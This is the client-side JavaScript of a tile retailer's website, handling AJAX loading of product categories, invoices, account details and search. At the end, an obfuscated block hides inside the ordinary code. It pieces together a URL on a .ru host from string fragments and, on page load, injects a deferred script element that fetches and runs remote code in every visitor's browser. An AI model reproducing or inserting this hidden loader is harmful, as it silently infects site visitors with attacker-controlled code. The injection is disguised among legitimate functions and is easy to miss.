g_strTitle = "Great Choice, Great Value";

function innerContentUpdate(strPage, bFull)
{
	if (!bFull)
	{
		bFull = false;
	}
	
	setTimeout("_innerContentUpdate('" + strPage + "', " + bFull + ")", 100);
}

function _innerContentUpdate(strPage, bFull)
{
	var objInnerContent = document.getElementById("innerContent");
	
	var objPartialContent = document.getElementById("partialContent");
	
	var objAjax = new CAjax();
	
	if (objPartialContent && !bFull)
	{
		if (objAjax.open(strPage, true, true))
		{
			objPartialContent.innerHTML = objAjax.getResponse();
		}
	}
	else
	{
		if (objAjax.open(strPage, true, true))
		{
			objInnerContent.innerHTML = objAjax.getResponse();
		}
	}
	
	endLoading();
}

function expandRange(strDivId)
{
	var objDiv = document.getElementById("range_" + strDivId);
	var objImg = document.getElementById("expand_" + strDivId);

	if (objDiv.getAttribute("visible") == "true")
	{
		objDiv.style.display = "none";
		objDiv.setAttribute("visible", "false");
		objImg.src = "styles/tileflair/images/plus.gif";
	}
	else
	{
		objDiv.style.display = "block";
		objDiv.setAttribute("visible", "true");
		objImg.src = "styles/tileflair/images/minus.gif";
	}
	
	resizeWindow();
}

function displayWishList()
{
	
	updateHomeContent("dynamic/displayWishList.php");
}


function showFaqs()
{
	
	updateHomeContent("styles/tileflair/static/_faqs.html");
}

function homeButton()
{
	updateHomeContent("styles/tileflair/static/_home.html");
}

function updateHomeContent(strPage)
{
	var objDiv = document.getElementById("homeContent");

		var objAjax = new CAjax();
		
		if (objAjax.open(strPage, true, true))
		{
			objDiv.innerHTML = objAjax.getResponse();
		}		
}

function clearMenu()
{
	var objInnerContent = document.getElementById("leftMenu");
	objInnerContent.innerHTML = "";
}

function leftMenuUpdate(strPage)
{
	startLoading("_leftMenuUpdate('" + strPage + "')");
}

function _leftMenuUpdate(strPage)
{
    // LOKI - CHANGED "leftMenu" to "tradeBars" for TRADE LOGIN PAGE
	var objInnerContent = document.getElementById("tradeBars");
	var objAjax = new CAjax();
	
	if (objInnerContent)
	{
		if (objAjax.open(strPage, true, true))
		{
			objInnerContent.innerHTML = objAjax.getResponse();
		}
	}
	
	endLoading();
}

function nextCategory(strCatCode, iLevel)
{
	startLoading("_nextCategory('" + strCatCode + "', '" + iLevel + "')");
}

function _nextCategory(strCatCode, iLevel)
{
	var objAjax = new CAjax();
	var objDiv = document.getElementById("nextCat_" + strCatCode);
	var objLink = document.getElementById("link_" + strCatCode);
	
	if (objLink.getAttribute("showing") == "true")
	{
		objLink.setAttribute("showing", "false");
		objDiv.style.display = "none";
	}
	else if (objAjax.open("dynamic/categories.php?parentCode=" + strCatCode + "&level=" + iLevel, true))
	{
		var strResponse = objAjax.getResponse();
	
		objLink.setAttribute("showing", "true");
			
		if (strResponse.length > 0)
		{
			objDiv.innerHTML = strResponse;
			objDiv.style.display = "block";
		}
		else
		{
			_quickSearch(strCatCode, 'category', 0);
		}
	}

	endLoading();
}

function showUnderfloorHeating()
{
	updateHomeContent("dynamic/underfloorHeating.php");
}

function showAllAdhesives()
{
	updateHomeContent("dynamic/adhesives.php");
}

function showAllTools()
{
	updateHomeContent("dynamic/products.php?mode=SEARCH&text=TOO&action=productgroup");
}

function showAllGrout()
{
	updateHomeContent("dynamic/grout.php");
}

function tileflairOnFirstLoad()
{
leftMenuUpdate("dynamic/categories.php?parentCode=&level=1");
}

function showAccountTab()
{
	startLoading("_showAccountTab()");
}

function _showAccountTab()
{
	var objAjax = new CAjax();
	var objDiv;
	
	var objContent = document.getElementById("innerContent");

	if (objAjax.open("dynamic/accountDetail.php", true))
	{
	    objDiv = g_objTabs.addTab("myAccount", "My Account", true, true);
	    objDiv.innerHTML = objAjax.getResponse();
		//objContent.innerHTML = objAjax.getResponse();
	}
	
	showInvoicesPage(1);	
}


function showInvoicesPage(iPageNo)
{
	startLoading("showInvoices('', '', '" + iPageNo + "')");
}

function showInvoices(strStartDate, strEndDate, iPageNo)
{
	startLoading("_showInvoices('" + strStartDate + "', '" + strEndDate + "', '" + iPageNo + "')");
}

function _showInvoices(strStartDate, strEndDate, iPageNo)
{
	var objAjax = new CAjax();

	if (objAjax.open("dynamic/invoices.php?mode=LIST&startdate=" + strStartDate + "&enddate=" + strEndDate + "&page=" + iPageNo, true))
	{
		objDiv = document.getElementById("invoiceList");
		objDiv.innerHTML = objAjax.getResponse();
	}
		
	endLoading();
}

function showProductGroup(strCode, strCategory)
{

	var objAjax = new CAjax();
	
	if (strCode.indexOf("_") == 0)
	{
		switch (strCode)
		{
			case "_porcelain":
				porcelainTiles();
				break;
			case "_ceramic":
				ceramicTiles();
				break;
			case "_glass":
				glassTiles();
				break;
			case "_stone":
				stoneTiles();
				break;
			case "_essentials":
				adhesiveGrout();
				break;
			case "_underfloor":
				showUnderfloorHeating();
				break;	
		}
	}
	else
	{
	
		if (objAjax.open("dynamic/productGroups.php?mode=DESC&code=" + strCode + "&cat=" + strCategory, true))
		{
		
			objDiv = document.getElementById("descriptionArea");
			objDiv.innerHTML = objAjax.getResponse();
		}

		if (objAjax.open("dynamic/productGroups.php?mode=PRODUCTS&code=" + strCode + "&cat=" + strCategory, true))
		{
		
			objDiv = document.getElementById("productArea");
			objDiv.innerHTML = objAjax.getResponse();
		
		}
	}
	
	document.location.href = "#";
	saveHistory();
}

function landingPage(strPage)
{
  var strDest = "styles/tileflair/static/" + strPage;
    
	bResizeWindow = false;
	onFirstLoad();
	innerContentUpdate(strDest);
}

function retailSearch()
{
    // Get search text
    var strText = getFormValue("retailSearchText");
   	var objAjax = new CAjax();
    // Locate which product group a particular product is in and then force the display
    if (objAjax.open("dynamic/productGroups.php?mode=LOCATE&text=" + strText, true))
		{ 
				var strResponse = objAjax.getResponse();

				if (strResponse != "|")
				{

					var strCategory  = strResponse.split("|")[1];
					var strGroup  = strResponse.split("|")[0];

					    
					var strRange = "";
	  
  				switch(strCategory)
					{
						case "W":
								strRange = "Wall";
								break;
						case "G":
								strRange = "Mosaic";               	               	               
								break;
						case "S":	            
								strRange = "Stone";               
								break;
						case "F":
								strRange = "Floor";              
								break;
						default:
								break;
					}
		        
					if (strGroup != "" && strCategory != "")
					{
						showRangeContents(strGroup, strCategory, strRange, 'false');  
					}
					else
					{
						alert("Sorry no results");
					}       
				}		
		}  
		
		return false;
}

function toggle(id)
{
    var objDiv = document.getElementById('link'+id);
    if(objDiv.style.display == 'none')
        objDiv.style.display = '';
    else
    {
        var objDiv2 = document.getElementById('link'+id);
        objDiv.style.display = 'none';        
    }
}
var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};